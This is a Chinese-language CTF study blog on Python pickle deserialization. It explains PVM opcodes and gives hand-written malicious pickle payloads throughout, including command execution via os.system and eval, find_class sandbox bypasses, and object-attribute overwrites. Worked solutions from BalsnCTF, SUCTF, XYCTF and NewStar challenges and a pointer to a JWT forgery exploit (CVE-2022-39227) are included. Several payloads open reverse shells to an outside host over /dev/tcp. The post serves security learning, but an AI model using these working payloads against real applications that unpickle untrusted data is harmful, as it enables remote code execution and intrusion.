python反序列化知识点学习

最近遇到了python反序列化的题目,简单学习一下相关的知识点

基础知识

Python 的序列化指的是将 Python 对象转换为一种格式,以便可以将其存储在文件或通过网络传输。Python 中最常用的序列化模块是 pickle 模块。

序列化使用的是pickle.dumps方法,反序列化使用的是pickle.loads方法

上网搜了一下,python序列化和反序列化的过程

大佬的文章写的很详细 https://tttang.com/archive/1885/

  1. 生成操作码序列:pickle模块在序列化Python对象时,会生成一系列操作码(opcode)来表示对象的类型和值。这些操作码将被保存到文件或网络流中,以便在反序列化时使用。

  2. 反序列化操作码:在反序列化时,pickle模块读取操作码序列,并将其解释为Python对象。它通过PVM来执行操作码序列。Virtual Machine会按顺序读取操作码,并根据操作码的类型执行相应的操作。

  3. 执行操作码:PVM支持多种操作码,包括压入常量、调用函数、设置属性等。执行操作码的过程中,Virtual Machine会维护一个栈来存储数据。当执行操作码时,它会将数据从栈中取出,并根据操作码的类型进行相应的操作。执行完成后,结果将被压入栈中。

  4. 构造Python对象:当操作码序列被完全执行后,PVM会将栈顶的数据作为结果返回。这个结果就是反序列化后的Python对象。

    还原的过程,其实就是根据操作码执行一些python语句,来还原出对象的属性,也是无法还原出方法

类似于jvm,python不是编译语言,最后代码的执行工作都是交由pvm执行的

其中pvm的一些关键组成部分如下

指令处理器、栈区和内存区。

  1. 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到.这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。需要注意的是:

    opcode 是单字节的

    带参数的指令用换行符来确定边界

  2. 栈区:用 list 实现的,被用来临时存储数据、参数以及对象

  3. 内存区:用 dict 实现的,为 PVM 的整个生命周期提供存储。称为memo

不同于php,php的序列化结果是易读的字符串,而pickle序列化的结果则是二进制字节流,而且pickle序列化封存对象有6种协议,序列化时是需要指定的,使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。

  1. v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python
  2. v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容
  3. v2 版协议是在 Python 2.3 中加入的,它为存储 new-style class 提供了更高效的机制。
  4. v3 版协议是在 Python 3.0 中加入的,它显式地支持 bytes 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议
  5. v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是 Python 3.8 使用的默认协议。
  6. v5 版协议是在 Python 3.8 中加入的。它增加了对带外数据的支持,并可加速带内数据处理

例如

import pickle
class test:def __init__(self):self.name = 'hellowrold'
a = test()
serialized = pickle.dumps(a, protocol=3)  # 指定PVM 协议版本
print(serialized)
unserialized = pickle.loads(serialized)  # 注意,loads 能够自动识别反序列化的版本
print(unserialized.name)
#结果
b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\n\x00\x00\x00hellowroldq\x04sb.'
hellowrold

可以看到,生成的结果种有很多\x的十六进制字符串,这些就是opcode,可以用pickletools.dis方法,查看这些操作码的具体作用

在这里插入图片描述

这里就不叙述这些操作码的具体作用了,上面大佬的文章讲的很详细,而且详细的PVM操作码可以在python3的安装目录的Lib里搜索pickle.py查看

重点关注下面这些即可

https://chenlvtang.top/2021/08/23/Python%E4%B9%8BPickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

这个大佬的文章有详细的解释和例子

0版本操作码

操作码功能写法栈变化
c获取一个全局对象或import一个模块c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,然后将从mark开始的元素直到模块作为参数,执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S’xxx’\n(也可以使用双引号、'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个可调用对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的第一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的前两个元素作为key-value对(第一为值,第二为健),添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

基础利用

一般来说常用的是loadsdumps,漏洞的触发一般是通过传参至loads模块中,然后触发恶意用户希望执行的命令

命令执行

pickle中用来构造函数执行的字节码有三个:Rio不一定反序列化的结果是命令执行的结果,只要在反序列化的过程中能够执行命令即可

R操作码

R操作码就是__reduce__这个魔术方法,

在对象序列化过程中,pickle 模块会尝试调用对象的 __reduce__ 方法。如果对象没有定义 __reduce__ 方法,pickle 模块会尝试使用其他方法,比如 __getstate____setstate__

__reduce__ 方法返回一个元组或字符串,元组包含足够的信息,以便能够重建对象。这个元组的格式通常如下:

  1. 一个可调用对象(通常是一个构造函数或工厂函数),用于重建对象。
  2. 一个包含可调用对象所需参数的元组。
  3. (可选)对象的内部状态(通常是一个字典),用于恢复对象的状态。

如果返回元组,会把元组的第一个参数当作方法,第二个参数当作这个方法的参数,第二个参数也要是元组

import pickleclass test:def __init__(self):self.name = 'hellowrold'def __reduce__(self):return (exec,("import os;os.system('ls /')",))
a = test()
serialized = pickle.dumps(a, protocol=3) 
unserialized = pickle.loads(serialized)  
#操作码payload 协议版本0
opcode=b'''cos
system
(S'whoami'
tR.'''

在这里插入图片描述

上网还找到了一个payload:(exec,("raise Exception(__import__('os').popen('whoami').read())",))

感觉类似ssti,要想办法把os模块搞进来,从而执行系统命令,

知道就是__reduce__方法也要学习对应的操作码payload,有时只知道生成好的opcode,要在复杂的原始opcode后面添加我们的payload,不过能用reduce的话,随便生成个类,不和靶机相同,还原时也会被执行命令,我们在学习手写payload时,建议学习0版本的opcode,非常易懂

i操作码

payload

opcode=b'''(S'whoami'
ios
system
.'''
test=pickle.loads(opcode)

opcode为什么要这么写呢,查上面的表即可知道

( 压入mark标记 ,标志复杂的对象的开始 => S'whoami'实例化一个字符串对象,值为whoami => ios\nsystem\n i操作码语法i[module]\n[callable]\n,寻找上一个mark标记,找到了i和mark之间的数据:字符串whomai,放入一个元组中,并把这个元组作为os.system的执行参数,同时把函数的执行结果入栈

实际利用可以去除原本的序列化字符串结束符.,再把这个opcode拼接上去,如上面那个test的例子

serialized = pickle.dumps(a, protocol=3) 
opcode=b'''(S'whoami'
ios
system
.'''
target=b'\x80\x03c__main__\ntest\nq\x00)\x81q\x01}q\x02X\x04\x00\x00\x00nameq\x03X\n\x00\x00\x00hellowroldq\x04sb'+opcode
try_=pickle.loads(target) 

后面其他的字节码payload都可以通过查表得知其含义

c+o操作码

payload

opcode=b'''(cos
system
S'whoami'
o.'''

c操作码写法 c[module]\n[instance]\n,获得os.system方法,装入string对象whoami最后让o来执行,i操作码后面不用o,它相当于c和o的组合

变量覆盖

主要用到b操作码给对象赋值

demo

import pickle
import secret
print("secret变量的值为:"+secret.secret)
opcode=b'''c__main__
secret
(S'secret'
S'helloworld'
db.'''
hack=pickle.loads(opcode)
print("secret变量的值为:"+secret.secret)
#secret变量的值为:secret
#secret变量的值为:helloworld

opcode解析

opcode功能栈的变化
c__main__从最高层代码运行环境main模块入栈
secret引入secret模块或类secret入栈
(压入mark标记mark入栈
S’secret’\nS’helloworld’实例化两个字符串对象两个字符串对象入栈
d寻找上一个mark标记,生成一个字典,并把该mark标记和d之间的变量按入栈先后顺序设为字典中的键值,字典{‘secret’:‘hellowrold’}入栈,mark,两个字符串出栈
b用栈顶字典{‘secret’:‘hellowrold’}给栈顶下一个元素,即secret模块更新属性引入的secret模块的secret值被修改

变量引用

类似于php,知道目标会有哪些类,我们可以在本地也搞个同样的类,修改一下生成的字节码,导致目标还原时引用到了不该引用的变量

如:

import pickle
import pickletoolsclass secret:pwd = "hahaha"class test:def __init__(self):self.pwd = secret.pwd
a=test()
# pickletools.optimize优化,更易读
serialized = pickletools.optimize(pickle.dumps(test, protocol=0))
print(serialized)

假设目标有个secret.py,里面有个pwd变量,目标:假设目标收到我们修改过的字节码,还原test对象时让他引用secret.py的pwd

现在这个生成的字节码,使用的就是本地class类的pwd

b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\nVhahaha\nsb.'

关注后面的Vhahaha,表示unicode字符串,改为csecret\npwd,用c操作码引入secret模块的pwd

b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'

目标还原模拟

import secret
import pickle
import pickletoolsclass test:def __init__(self):self.pwd = secret.pwd
target=b'ccopy_reg\n_reconstructor\n(c__main__\ntest\nc__builtin__\nobject\nNtR(dVpwd\ncsecret\npwd\nsb.'
print(vars(pickle.loads(target)))

在这里插入图片描述

成功引用到secret.py的pwd

相关过滤和绕过

过滤R

使用i或c+o操作码替代

find_class限制模块

bulitins :Code-Breaking 2018 picklecode

pickle存在这些漏洞,pickle也出了防御的方法就是通过重写Unpickler.find_class()来限制全局变量的使用

在0版协议opcode中,只有ci、这两个字节码与全局对象有关,当出现这两个字节码时会调用find_class,所以我们使用时不能违反其限制

看之前的操作码基础payload,基本上都是直接引入os模块的system方法执行命令,如果用find_class方法限制了引入的类,就不能引入os了,这里是限制了只能引入builtins模块,builtins模块里都是py的内置方法,其中也有能执行命令的敏感函数,如eval,

接下来的例子都是网上找到的一些题目:

import builtins 
import io       
import pickle   
# 需要限制反序列化对象时可以使用的类
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
# 定义RestrictedUnpickler类继承自pickle.Unpickler
class RestrictedUnpickler(pickle.Unpickler):# 重写find_class方法def find_class(self, module, name):# 如果被反序列化的对象的类属于builtins模块中的安全类,则返回该类if module == "builtins" and name not in blacklist:return getattr(builtins, name)# 如果不是安全类,就抛出异常,禁止反序列化raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))# 定义一个帮助函数restricted_loads来反序列化对象
def restricted_loads(s):"""Helper function analogous to pickle.loads()."""# 将传入的字符串s转换为bytes,并使用RestrictedUnpickler类反序列化return RestrictedUnpickler(io.BytesIO(s)).load()

思路,只能使用bulitins模块,而且不能直接使用builtins模块的eval或exec方法,大佬的方法很巧妙,

1.利用builtins.getattr方法(从对象中获取指定名称的属性),从bulitins的dict类中,取出可以获取字典属性的get方法,即执行getattr(bulitins.dict,‘get’)

2.利用get方法,从bulitins模块的全局变量字典bulitins.globals()再取出bulitsin模块这样拿到的Bulitins模块不受find_class限制,因为find_class只限制c,i这种直接引入的,相当于执行dict.get(builtins.globals(),'builtins'),dict类的get方法一般要绑定某个字典使用,如字典a.get('b'),否则就要在方法参数中指定字典,所以能获取到builtins模块

3拿到bulitins模块,再用getattr取出eval方法,执行命令即可

当时看这个思路,本来想在操作码中看能不能直接getattr(__builtins__,'eval')但是在反序列化时会报错

R操作码版本

大佬的opcode payload

 opcode=b'''cbuiltins      
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'__builtins__'
tRp3
0g0
(g3
S'eval'
tR(S"__import__("os").system('dir')"
tR.'''

写一下自己对这个opcode执行过程的一些浅薄理解

1-2   :c操作码引入builtins.getattr方法,该方法入栈
3     :栈顶元素builtins.getattr方法存入memo_0
4-5   :mark标记入栈,c引入builtins.dict方法,该方法入栈
6     :字符串对象'get'入栈
7     :t:寻找上一个mark标记,把之间的数据组成一个元组,放到栈顶,生成元组(bulitins.dict,get) ,R:执行栈中最靠近栈顶的可调用对象或方法,最接近栈顶的元组当作方法参数,并把执行结果放入栈顶,方法和元组出栈,这里的方法是builtins.getattr方法,所以执行bulintins.gettattr(bulitins.dict,get)(获取dict类的get方法),执行结果入栈,p1:栈顶元素存入memo_1
8-9   builtins.globals方法入栈
10    :)压入空元组,R执行builtins.globals()方法,执行结果(builtins模块的全局变量字典)入栈 p2:栈顶元素存入memo_2
11    :00 连续丢弃两个栈顶元素,此时栈为空 g1:memo_1元素即 dict.get方法入栈
12    :(mark标记入栈,g2:将memo_2元素即biultins模块的全局变量字典入栈,
13    :字符串'bulitins'入栈
14    :跟7类似,这里简写-> 生成元组(bulitins.golbals,'builtins')并放入栈顶,此时最靠近的栈顶的方法是dict.get,所以执行dict.get(bulitins.golbals,'builtins')的结果,就是获得了builtins模块入栈,存入memo_3
15    :抛弃栈顶元素bulitins,此时栈为空栈,memo_0元素bulitins.getattr入栈
16    :mark标记入栈,memo_3元素bulitins模块入栈,
17    :字符串对象'eval'入栈
18    :生成元组(builtins,'eval'),其实规范来说应该是(dict.get(builtins.globals(),'builtins'),'eval'),用前者简写,R执行builtins.getattr(builtins,'eval')获得eval方法,调用方法和元组出栈,此时栈中只有执行结果eval方法, ( 压入mark标记,字符串'__import__("os").system("whoami")'入栈
19    :生成元组('__import__("os").system("whoami")'),R执行eval('__import__("os").system("whoami")'),调用方法和元组出栈,执行结果入栈 .结束反序列化还原操作

理解opcode过程中,强烈建议,模拟一下还原过程中栈的进出以及memo区的存储,加深印象

上面的opcode明显都要用R字节码,如果过滤了R,我们还可以用O操作码替代,手写了一个,虽说能跑,但感觉很不优雅,佬们轻喷

opcode=b"""cbuiltins
getattr
p0
0(cbuiltins
globals
op1
0(g0
cbuiltins
dict
S'get'
op2
0(g2
g1
S'builtins'
op3
0(g0
g3
S'eval'
op4
0(g4
S"__import__('os').system('whoami')"
o."""

sys:BalsnCTF 2019 Pyshv1

如果限制了只能引入sys模块,该如何操作

如果 Python 是刚启动的话,所列出的模块就是解释器在启动时自动加载的模块,存储在sys.modules这个字典中,有些库是默认被加载进来的,例如 os,但是不能直接使用,原因在于 sys.modules 中未经 import 加载的模块对当前空间是不可见的。

因为sys.modules 还包含了sys模块本身,所以里面的'sys'健对应的模块我们是能直接使用的,所以如果能sys.modules['sys']=sys.modules,相当于sys=sys.modules,利用sys去调用原本是sys.modules里的对象,可以利用s操作码更新modules字典

然后去获取sys.modules.get方法,得到get方法,,然后执行sys.modules.get('os'),取出os模块,再把sys.modules[‘sys’]覆盖为sys.modules[‘os’],sys['sys']=os这样一来os模块就被引进来了,直接使用system方法执行命令即可,非常巧秒,大佬的opcode

opcode=b"""csys   
modules
p0
S'sys'
g0
scsys
get
(S'os'
tRp1
0S'sys'
g1   
scsys
system
(S'whoami'
tR0."""

opcode解析

1-3    :引入sys.modules字典入栈,并存储到memo_0
4      :字符串'sys'入栈
5      :取出memo_0元素,即sys.modules字典入栈
6      :s操作码,此时栈中有三个元素,自上而下是sys.modules,'sys',sys.modules,看一下s操作码,所以这里就是让sys.modules为value,'sys'为key,更新到字典sys.modules中,即sys.modules['sys']=sys.modules ,
6-7     此时sys就是sys.moudles,引入sys.get方法
8       压入mark标记,压入字符串'os'
9       创建空元组,内容为('os'),R操作码实现:执行方法sys.get('os')获取os模块,os模块入栈且存到memo_1中
10       弹出os模块,字符串'sys'入栈
11       从memo_1中取出os模块入栈
11-12    s:类似6-7,更新sys.modules字典,sys.modules['sys']=os
12-13    引入sys.system
13-14    R操作码执行:system('whomai'),执行结果入栈,反序列化结束时栈里只能有一个元素,此时有两个:whoami的执行结果和sys.modules,所以需要弹出一个

自定义空模块:BalsnCTF 2019 Pyshv2

关键代码

whitelist=['structs']
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module not in whitelist or '.' in name:raise KeyError('The pickle is spoilt :(')module = __import__(module) return getattr(module, name)

structs是自定义的空模块,,不能cbuiltins直接拿内置方法,但可以通过__builtins_这个公有字典来取

在pickle源码中,find_class调用了__import__或getattr实现引入模块,如:

在这里插入图片描述

而且官方的重写find_class方法例子中,也只有return getattr,即__import__getattr这两个方法一般不会同时使用**,而这题不同,它们同时使用了,这就有了可乘之机


因为只能引入structs这个模块,它又是空的,而py中有一些操作类的魔术方法, 由于py的灵活性,部分魔术方法也可对模块使用,就用这些魔术方法,来达到我们的目的,魔术方法及其功能在这里可以查看,https://pyzh.readthedocs.io/en/latest/python-magic-methods-guide.html

思路:

1.还是要拿到能获取字典属性的get方法,现在不能用cbuiltins\ngetattr从dict类拿了,但是还有一个魔术方法平替__getattribute__,跟getattr有一样的功能,可以通过structs._getattribute__来调用,但是__getattribute__不能像getattr一样,在方法调用时传入指定要取的字典,它只有一个参数,即要取的属性,由谁调用就从从哪里取

2.所以,当调用structs._getattribute__,它取的是哪个字典呢?structs.__dict__这个字典,它存储了这么模块所有的属性,如果这个字典被修改,那么模块的属性也会改变,一些类的属性修改也是通过修改它的__dict__字典实现的

3.前面提到,这一题同时使用了__import__getattr来引入模块,前者却是可以被覆盖的,且先被调用,如果我们让structs.__dict__['structs']=structs.__builtins__,再把__import__覆盖为structs._getattribute__,即structs.__dict__['__import__']=structs._getattribute__,那么如果执行opcodecstructs\nget

此时在find_class方法中,module是structs,name是get, __import__('structs')变为structs.__getattribute__('structs'),根据前面对structs模块属性的修改,这个的执行结果就是structs.__builtins__,然后在return getattr(structs.__builtins__,'get'),这样就拿到了能获取__builtins__字典的get方法,后面直接取出eval,相当于sturcts.__builtins__.get('eval'),非常巧妙

opcode:

opcode=b"""cstructs
__getattribute__
p0
0cstructs
__dict__
S'structs'
cstructs
__builtins__
p1
sg1
S'__import__'
g0
scstructs
get
(S'eval'
tR(S'print(open("flag.txt").read())'
tR."""

关键opcode解析

scstructs  s操作码就是更新__builtins__字典,把__import__方法改为__getattribute__
get        更新完后,执行c操作码,就像思路中提到的,此时栈顶就是__builtins__.get方法,所以后面再入栈一个参数元组('eval'),R执行拿到eval方法,

因为import语句就是调用__import__实现的,此时import无法使用,不能引入os执行命令,得用其他方法拿flag

从这两题的一些思考

  • 实现rce有大概两种思路,1是直接引入os.system 执行系统命令 2是拿到builitins的eval执行任意py代码
  • 在有find_class限制后,一般都不能直接引入os,只能想办法拿到eval,在eval执行的代码中再import os,而eval存在于__builtins__这个全局变量字典中,要取出来,必须要先拿到dict类get这个方法,再从全局变量字典中拿到eval方法
  • 怎么拿到get方法,有两个思路,任意模块.__builtins__.getgetattr(builtins.dict,'get')

描述符:BalsnCTF 2019 Pyshv3

源码:

# File: securePickle.py
import pickle
import iowhitelist = []# See https://docs.python.org/3.7/library/pickle.html#restricting-globals
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module not in whitelist or '.' in name:raise KeyError('The pickle is spoilt :(')return pickle.Unpickler.find_class(self, module, name)def loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()dumps = pickle.dumps# File: server.py
import securePickle as pickle
import codecs
import os
import structspickle.whitelist.append('structs')class Pysh(object):def __init__(self):self.key = os.urandom(100)self.login()self.cmds = {'help': self.cmd_help,'whoami': self.cmd_whoami,'su': self.cmd_su,'flag': self.cmd_flag,}def login(self):with open('flag.txt', 'rb') as f:flag = f.read()flag = bytes(a ^ b for a, b in zip(self.key, flag))user = input().encode('ascii')user = codecs.decode(user, 'base64')user = pickle.loads(user)print('Login as ' + user.name + ' - ' + user.group)user.privileged = Falseuser.flag = flagself.user = userdef run(self):while True:req = input('$ ')func = self.cmds.get(req, None)if func is None:print('pysh: ' + req + ': command not found')else:func()def cmd_help(self):print('Available commands: ' + ' '.join(self.cmds.keys()))def cmd_whoami(self):print(self.user.name, self.user.group)def cmd_su(self):print("Not Implemented QAQ")# self.user.privileged = 1def cmd_flag(self):if not self.user.privileged:print('flag: Permission denied')else:print(bytes(a ^ b for a, b in zip(self.user.flag, self.key)))if __name__ == '__main__':pysh = Pysh()pysh.run()# File: structs.py
class User(object):def __init__(self, name, group):self.name = nameself.group = groupself.isadmin = 0self.prompt = ''

只要user.privileged不为false,就可以拿到flag,但是题目在反序列化后,又给privileged赋值为false,所以在反序列化过程中覆盖修改行不通

但是还有一个东西可以利用,就是描述符类

当一个类实现了__get____set____delete__任一方法时,该类被称为“描述符”类,该类的实例化为描述符。对于一个某属性为描述符的类来说,其实例化的对象在查找该属性或设置属性时将不再通过__dict__,而是调用该属性描述符的__get____set____delete__方法。需要注意的是,一个类必须在声明时就设置属性为描述符,使之成为类属性,而不是对象属性,此时描述符才能起作用。

在这里插入图片描述

如这个例子:

class test(object):def __set__(self, obj, val):passname='hello'm = test()
test.privileged = m
print(m.privileged)
m.name = 'wrold'
print(m.name,m.privileged)
m.privileged = False
if m.privileged:print('yes')

在这里插入图片描述
,

在这个例子中,test类设置__set__方法,成为描述符类,实例化一个m对象后,把test类的privileged属性设置为m描述符对象本身,再去修改privileged,就会触发__set__,这个方法我设了pass,所以会修改失败,

大佬的实现opcode

cstructs
User
p0
(I111
I222
tRp1
g0
(N}S'__set__'
g0
sS'privileged'
g1
stbg1
.

去看了pickle中b操作码的源码,才发现b操作码更新属性还可以用元组(应该是用来恢复__slotstate__定义的静态属性)

相关源码如下

def load_build(self):stack = self.stackstate = stack.pop()inst = stack[-1]# 检查是否有`__setstate__`方法setstate = getattr(inst, "__setstate__", None)if setstate is not None:setstate(state)returnslotstate = None#检查弹出的栈顶元素是不是两个元素的元组,是元组就把元组第一个元素用来更新栈顶第二个元素的属性#否则当作字典去更新if isinstance(state, tuple) and len(state) == 2:state, slotstate = stateif state:inst_dict = inst.__dict__intern = sys.internfor k, v in state.items():if type(k) is str:inst_dict[intern(k)] = velse:inst_dict[k] = vif slotstate:for k, v in slotstate.items():setattr(inst, k, v)dispatch[BUILD[0]] = load_build

SUCTF-2019:guess_game

关键代码

# file: Ticket.py
class Ticket:def __init__(self, number):self.number = numberdef __eq__(self, other):if type(self) == type(other) and self.number == other.number:return Trueelse:return Falsedef is_valid(self):assert type(self.number) == intif number_range >= self.number >= 0:return Trueelse:return False# file: game_client.py
number = input('Input the number you guess\n> ')
ticket = Ticket(number)
ticket = pickle.dumps(ticket)
writer.write(pack_length(len(ticket)))
writer.write(ticket)

client 端接收数字输入,用这个数字生成的 Ticket 对象序列化后发送给 server 端。

# file: game_server.py 有删减
from guess_game.Ticket import Ticket
from guess_game.RestrictedUnpickler import restricted_loads
from struct import unpack
from guess_game import game
import syswhile not game.finished():ticket = stdin_read(length)ticket = restricted_loads(ticket)assert type(ticket) == Ticketif not ticket.is_valid():print('The number is invalid.')game.next_game(Ticket(-1))continuewin = game.next_game(ticket)if win:text = "Congratulations, you get the right number!"else:text = "Wrong number, better luck next time."print(text)if game.is_win():text = "Game over! You win all the rounds, here is your flag %s" % flagelse:text = "Game over! You got %d/%d." % (game.win_count, game.round_count)print(text)# file: RestrictedUnpickler.py  对引入的模块进行检测
class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):# Only allow safe classesif "guess_game" == module[0:10] and "__" not in name:return getattr(sys.modules[module], name)# Forbid everything else.raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()

server将接受到的数据反序列化,还原成一个ticket对象,再自己生成一个ticket对象,但是数字是随机的,传过来的要和本地的生成对象中的随机数字相等算赢,赢了10次才能拿flag

要覆盖game的 win_count 和 round_count。换句话来说,就是需要在反序列化 Ticket 对象前执行:

from guess_game import game  # __init__.py  game = Game()
game.round_count = 10
game.win_count = 10

开始构造

cguess_game
game
}S'round_count'
I10
sS'win_count'
I10
sb

但是在反序列化后,还有个assert type(ticket) == Ticket,所以覆盖完后,栈顶要是一个Ticket对象,所以这个payload后面要跟一个能还原Ticket对象的opcode,自己生成一个对象然后dumps一下即可

ticket=Ticket(3)
print(pickle.dumps(ticket))
b'\x80\x03cguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x03sb.'

完整payload

opcode = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''

pker工具使用

有一个工具pker,利用ast帮助我们生成opcode,地址:https://github.com/eddieivan01/pker

功能

  • 变量赋值:存到memo中,保存memo下标和变量名即可
  • 函数调用
  • 类型字面量构造
  • list和dict成员修改
  • 对象成员变量修改

但是也是有它自己的语法,如:

以下module都可以是包含.的子module

调用函数时,注意传入的参数类型要和示例一致

对应的opcode会被生成,但并不与pker代码相互等价

语法

GLOBAL对应opcode:b'c'获取module下的一个全局对象(没有**import**的也可以,比如下面的os):GLOBAL('os', 'system')输入:module,instance(callable、module都是instance)INST对应opcode:b'i'建立并入栈一个对象(可以执行一个函数):INST('os', 'system', 'ls')  输入:module,callable,para OBJ对应opcode:b'o'建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):OBJ(GLOBAL('os', 'system'), 'ls')输入:callable,paraxxx(xx,...)对应opcode:b'R'使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)li[0]=321或globals_dic['local_var']='hello'对应opcode:b's'更新列表或字典的某项的值xx.attr=123对应opcode:b'b'对xx对象进行属性设置return对应opcode:b'0'出栈(作为pickle.loads函数的返回值):return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

用法,现在一个文件写上pker语句,例如R操作码执行命令

r文件
system=GLOBAL('os','system')
system('whoami')
return

然后python3 pker.py <r 即可

在这里插入图片描述

R经常被过滤,不如用o操作码的

opcode=b"(cos\nsystem\nS'whoami'\no."
opcode=b"(cos\nsystem\nS'ls /'\no."

反弹shell

b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/192.168.184.150/1234 0>&1"\'\no.'

使用

针对Code-Breaking 题目的pker代码,可以生成有相同效果的opcode,就是会多次调用存入memo的语句,比较冗长

getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dict=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dict,'__builtins__')
eval=getattr(builtins,'eval')
eval("__import__('os').system('whoami')")
return

上面练习的其他的题目 pker代码在pker的test文件夹里都有

题目实战

XYCTF2024 login

题目只给了登录,注册两个页面,观察请求头,发现cookie中有个Remberme字段比较可疑,

在这里插入图片描述

base64解码后发现,

在这里插入图片描述

name hello ,pwd ,123,这些都是登录用到的数据,这应该是存储序列化用户对象的opcode,拿到python base64解码一下

在这里插入图片描述

完全符合3版本的opcode,看来gASV开头的base64大概率是opcode

经过测试 过滤了R,于是用o操作码执行命令,再base64编码一下

opcode=b'(cos\nsystem\nS\'bash -c "bash -i >& /dev/tcp/vps_ip/port 0>&1"\'\no.'
print(base64.b64encode(opcode)

更新cookie的Remberme字段,再重定向到首页即可,

在这里插入图片描述

newstarctf Yes’s pikle

给了源码

# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)def generate_random_string(length=16):characters = string.ascii_letters + string.digits  # 包含字母和数字random_string = ''.join(random.choice(characters) for _ in range(length))return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():payload=request.args.get("token")if payload:token=verify_jwt(payload, key, ['PS256'])session["role"]=token[1]['role']return render_template('index.html')else:session["role"]="guest"user={"username":"boogipop","role":"guest"}jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))return render_template('index.html',token=jwt)@app.route("/pickle")
def unser():if session["role"]=="admin":pickle.loads(base64.b64decode(request.args.get("pickle")))return render_template("index.html")else:return render_template("index.html")
if __name__ == "__main__":app.run(host="0.0.0.0", port=5000, debug=True)

这里访问首页会给个jwt的token,考点就是jwt的一个CVE,CVE-2022-39227,需要一个已知token且python-jwt版本<3.3.4,然后用脚本改成我们想要的token,poc地址 https://github.com/user0x1337/CVE-2022-39227

用法

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

生成一个新的token,get传给主页路由后,再访问pickle路由,若有报错,则修改成功

在这里插入图片描述

没有过滤,r执行命令即可,没有回显,尝试反弹shell

op=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''

在这里插入图片描述

参考文章

1.https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20200328-pickle.html

2.https://www.anquanke.com/post/id/188981

